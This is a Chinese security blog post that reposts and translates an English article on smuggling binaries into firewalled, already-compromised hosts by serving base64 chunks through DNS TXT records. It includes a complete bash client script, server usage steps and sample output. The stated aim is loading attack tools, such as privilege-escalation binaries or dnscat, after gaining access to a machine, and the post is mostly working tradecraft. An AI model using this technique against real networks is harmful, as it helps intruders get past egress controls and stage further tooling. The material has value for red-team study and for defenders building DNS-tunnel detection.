最新消息:

通过dns进行文件下载

安全知识 admin 1022浏览 0评论

0x00 背景


偶尔会遇到这样的情况,防火墙规则极大的限制外网的访问(这种情况经常是一个白名单来处理,仅仅允许少量的主机和外网产生连接)想要下载一下二进制文件到目标主机上,就会很麻烦。

我们来假设这样的一个情景:你已经拥有在上述情况下的主机、需要和你的本机传输工具或者数据。在这个情景下面、你被限制了下载,有一个好办法来突破这种限制,那就是通过DNS查询的来获得想要的数据。

如果目标机器的设定的DNS(或者任何只要目标主机能够在网络上访问的DNS服务器)能够在网络上做DNS查询。那就能够下载想要的二进制文件。

 

0x02 原理


不了解这项技术的人可能以为是下面这样的流程:

<code>目标主机&lt;----&gt;网络上的DNS服务器&lt;----&gt;注册域名服务器&lt;----&gt;攻击者的远端主机
</code>

其实是这样的流程:

<code>目标主机&lt;----&gt;构建的DNS服务器
</code>

只要目标主机能够和搭建的DNS服务器进行DNS解析就可以实现。

方法就是在服务端通过base64来编码这些特殊文件,对编码后的文件分块,同时添加到DNS Server的记录中,然后在目标主机上进行域名的解析请求,DNS服务器返回base64编码,在对base64编码进行解码,这样就实现了文件下载。

0x03 实现


使用方法:

<code>1、对需要运行server.py脚本的服务器进行配置
2、在服务器上,执行python server.py -f fielname
3、在客户端上,运行sh client.sh dns.testdomain.com
4、这时你应该看到client和server开始产生base64的调试输出。client会把base64的编码写到本地文件中,同时在结束传输时解码
</code>

0x03a Python代码导入了几个库,这些库可能需要单独安装:

dns和argparse,在安装argparse的时候可能会报错,根据报错安装所需的库,即可正常运行server.py

PS:在https://pypi.python.org/ 能够下载到

server.py有三个参数:

<code>-f  指定需要分割的二进制文件
-q  静默模式,不在终端上输出日志信息
-s  指定开始的dns解析的子域,必须设置成一个数字client.sh中的i,必须和-s指定的一样。默认是0
</code>

0x03b 在server上运行server.py,创建DNS服务器,a.out是一个二进制文件。

d1

在目标主机上运行

0x03c sh client.sh domain

会产生以下输出

d2

0x03d 脚本会对接受的base64的编码进行解码,添加执行权限后就可执行,执行二进制文件。

d3

0x04 源码


server.py下载地址

https://github.com/breenmachine/dnsftp

client.sh脚本

#!/bin/bash
error=';; connection timed out; no servers could be reached'
i=0
echo ''> output.b64
while :
do
  RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2`
  if [ "$RESP" = "$error" ];
  then
    echo "Timeout - done"
    break
  fi
  echo -ne $RESP >> output.b64
  echo $RESP
  i=$((i+1))
done
cat output.b64 | base64 -d >> output
文件打包下载:dnsftp-master.zip

翻译出处:

http://breenmachine.blogspot.com/2014/03/downloading-files-through-recursive-dns.html

Downloading Files Through Recursive DNS With Bash (Or PowerShell)

I often run into networks with extremely restricted outbound firewall rules. Usually outbound traffic is whitelisted to a small number of hosts. The scenario here is that you’ve somehow gained access to a machine on such a network and you need a way to transfer tools/data to this machine.

In these scenarios where you’ve got a really locked down environment, one of my go-to methods for getting data in and out is to tunnel it through recursive DNS queries. If the target machines nameserver (or any nameserver it can talk to on the network) will do recursive queries out to the Internet, you’re in luck. I find this is almost always the case.

For those who may be unfamiliar with this technique the scenario looks something like this:

Target <—> Internal DNS Server <—–> Registrar Nameserver <——> Attackers Remote Machine

There are a number of existing tools to do this (dnscat, iodine…) Unfortunately all of the ones I could find to accomplish this require a binary to be loaded onto the target machine. The whole reason I need to tunnel things over DNS in the first place with this scenario is so I can load binaries onto the target!

So my goal was to do this with a client/server where the client script uses only tools native to the host OS. Ideally the client script should also be short incase it needed to be written out by hand (physical access) or through some blind command execution exploit. Using such a script, you could pull down other, more complex binaries (like iodine or dnscat, or privilege escalation tools).

The easiest way I thought of to do it was to have the server base64 encode a specified file, split it into chunks, and server those chunks up in TXT records. For example:

bm@mybox:~/Code/dnsftp$ sudo ./server.py -f ../nbtool/dnscat
DEBUG:root:[+] Bound to UDP port 53.
DEBUG:root:[+] Waiting for request…

bm@mybox:~/Code/dnsftp$ dig +short @localhost 0.dns.testdomain.com
“f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUBpAAAAAAABAAAAAAAAAAOCQAgAAAAAAAAAAAEAAOAAIAEAAJQAiAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgAAAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAA”

bm@mybox:~/Code/dnsftp$ dig +short @localhost 1.dns.testdomain.com
“AAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAGRRAQAAAAAAZFEBAAAAAAAAACAAAAAAAAEAAAAGAAAAaFEBAAAAAABoUWEAAAAAAGhRYQAAAAAA2AQAAAAAAAAIBQAAAAAAAAAAIAAAAAAAAgAAAAYAAACAUQEA”

So we have a server spitting out chunks of a base64 encoded binary in response to sequential TXT record requests. A simple client written in bash can automate the process of pulling and re-assembling the file:
#!/bin/bash
error=’;; connection timed out; no servers could be reached’
i=0
echo ”> output.b64
while :
do
  RESP=`dig +short $i.$1 TXT | cut -d'”‘ -f 2`
  if [ “$RESP” = “$error” ];
  then
    echo “Timeout – done”
    break
  fi
  echo -ne $RESP >> output.b64
  echo $RESP
  i=$((i+1))
done
cat output.b64 | base64 -d > output

Notice in the above script we don’t use “dig @localhost” anymore – the request goes through some DNS servers on the Internet and eventually makes it to our “server.py” file. For this to work correctly, you need to have your server that runs server.py setup to be authoritative for a subdomain. This can be configured with your registrar.

Sample Usage:

  • Configure your server where you will run server.py to be the authoritative nameserver for a  subdomain (e.g: dns.testdomain.com). Do this with the registrar where you’ve registered testdomain.com.
  • On the server, run sudo ./server.py -f someFile
  • On the client, run ./client.sh dns.testdomain.com
  • At this point you should see the client and server start puking base64 debugging output. The client will write the base64 to disk and then decode it when done.
To do:
  • This should be trivial to implement in powershell for Windows hosts as well. Would be very useful.

Code at

  • https://github.com/breenmachine/dnsftp

转载请注明:jinglingshu的博客 » 通过dns进行文件下载


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址